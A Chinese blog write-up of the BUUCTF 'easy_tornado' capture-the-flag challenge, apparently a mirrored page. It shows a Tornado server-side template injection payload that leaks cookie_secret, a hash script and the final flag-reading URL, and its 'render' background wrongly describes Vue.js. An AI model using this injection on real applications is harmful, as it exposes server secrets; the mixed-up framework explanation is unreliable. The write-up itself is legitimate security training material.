zoukankan      html  css  js  c++  java
  • BUUCTF-WEB-easy_tornado

    知识点:
    Python Web 框架:Tornado

    python中的一个渲染函数:render:
    渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

    1. render方法的实质就是生成template模板; 
    2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的; 
    3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容 
    4. 通过这三个参数,可以生成一个完整的木模板备注:render方法可以使用JSX语法,但需要Babel plugin插件;render方法里的第三个参数可以使用函数来生成多个组件(特别是如果他们相同的话),只要生成结果是一个数组,且数组元素都是VNode即可;注意: 
    render函数是有限制的,Vue.js 2.X支持,但是1.X无法使用。

    Tornado框架:

    Tornado龙卷风是一个开源的网络服务器框架,它是基于社交聚合网站FriendFeed的实时信息服务开发而来的。2007年由4名Google前软件工程师一起创办了FriendFeed,旨在使用户能够方便地跟踪好友在Facebook和Twitter等多个社交网站上的活动。结果两年后,Facebook宣布收购FriendFeed,交易价格约为5000万美元。而此时FriendFeed只有12名员工。据说这帮人后来又到了Google,搞出了现在的Google App Engine...
    我们开发这个Web服务器的主要目的就是为了处理FriendFeed的实时功能 -- 在FriendFeed的应用里每个活动用户都会保持着一个服务器连接。
    Tornado使FriendFeed使用的可扩展的非阻塞Web服务器及其相关工具的开源版本,这个Web框架看起来有些像web.py或 Google的webapp,不过为了更加有效地利用非阻塞服务器环境,Tornado这个Web框架还包含了一些相关的有用工具和优化。
    区别Tornado与现代主流的Web服务器框架有着明显的区别:它使非阻塞式的服务器,速度相当快。这得益于其非阻塞的方式和对epoll的运用。Tornado每秒可以处理数以千计的连接,对于实时Web服务来说Tornado确实是一个理想的Web框架。
    与Node.js相同的是,Tornado也采用的是单进程单线程异步IO的网络模型,它们都可以编写异步非阻塞的程序。但由于Node.js是Google Chrome V8引擎的JS运行环境或工具包,它属于偏底层的抽象,扩展了JS编写服务器程序的能力,所以基于Node.js会由不同的Web框架。从这个角度来看Node.js和Tornado其实并不在一个层次上。
    Tornado是使用Python编写的Web服务器兼Web应用框架,与主流Web服务器框架不同的是,Tornado是异步非阻塞式服务器,得益于非阻塞式和对epoll模型的运用,Tornado是实时Web服务的一个理想框架,它非常适合开发长轮询、WebSocket和需要与每个用户建立持久连接的应用。
    特点##
    轻量级Web框架
    异步非阻塞IO处理方式
    Tornado采用的单进程单线程异步IO的网络模式,其高性能源于Tornado基于Linux的Epoll(UNIX为kqueue)的异步网络IO。
    出色的抗负载能力
    不依赖多进程或多线程
    WSGI全栈替代产品
    WSGI把应用(Application)和服务器(Server)结合起来,Tornado既可以是WSGI应用也可以是WSGI服务。
    既是WebServer也是WebFramework
    Tornado是基于Bret Taylor和其他人员为FrientFeed所开发的网络服务框架,当FriendFeed被Facebook收购后得以开源。不同于那些最多只能达到1w并发连接的传统网络服务器。Tornado在设计之初就考虑到了性能因素,旨在解决C10K问题,这样的设计使其成为一个拥有高性能的框架。
    结构##
    Web框架:
    主要包括RequestHandler用于创建Web应用程序和各种支持类的子类
    HTTP服务器与客户端:
    主要包括HTTPServer和AsyncHTTPClient
    异步网络库“
    主要包括IOLoop和IOStream作为HTTP组件的构建块协程库Tornado的Web框架和HTTP服务器一起提供了完整的堆栈替代方案WSGI
    题目:打开题目有三个文件

    flag.txt:/flag.txt
    flag in /fllllllllllllag
    发现
    发现flag在/fllllllllllllag文件里

    welcome.txt:/welcome.txt
    render
    hints.txt

    /hints.txt
    md5(cookie_secret+md5(filename))
    1
    filehash=md5(cookie_secret+md5(filename))
    现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

    测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

    尝试/error?msg={{datetime}}
    在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象。!

    通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

    RequestHandler.settings
    An alias for self.application.settings.
    1
    handler指向的处理当前这个页面的RequestHandler对象,
    RequestHandler.settings指向self.application.settings,
    因此handler.settings指向RequestHandler.application.settings。

    构造payload获取cookie_secret:

    /error?msg={{handler.settings}}

    得到cookie_secret::
    'cookie_secret': '7087d561-6986-4c57-ac5a-d019d49b90ce'
    计算filehash值,python2脚本:

    import hashlib
    
    def md5(s):
     md5 = hashlib.md5() 
     md5.update(s) 
     return md5.hexdigest()
     
    def filehash():
     filename = '/fllllllllllllag'
     cookie_secret = '7087d561-6986-4c57-ac5a-d019d49b90ce'
     print(md5(cookie_secret+md5(filename)))
     
    if __name__ == '__main__':
     filehash()
    

    最终payload:
    file?filename=/fllllllllllllag&filehash=85e75a211ff944c1fbef40372aa0eaa8

    参考链接:

    https://blog.csdn.net/weixin_44677409/article/details/94410580

  • 相关阅读:
    JDK1.5新特性,基础类库篇,调用外部命令类(ProcessBuilder)用法
    JDK1.5新特性,基础类库篇,格式化类(Formatter)用法
    JDK1.5新特性,语言篇
    几种常见排序算法之Java实现(插入排序、希尔排序、冒泡排序、快速排序、选择排序、归并排序)
    JSON概述及其在JavaScript与Java中的应用(整理)
    JavaScript:表单常用验证脚本(整理)
    JavaScript:零星知识
    浏览器脚本概述(整理)
    Angular
    Angular
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/11850556.html
Copyright © 2011-2022 走看看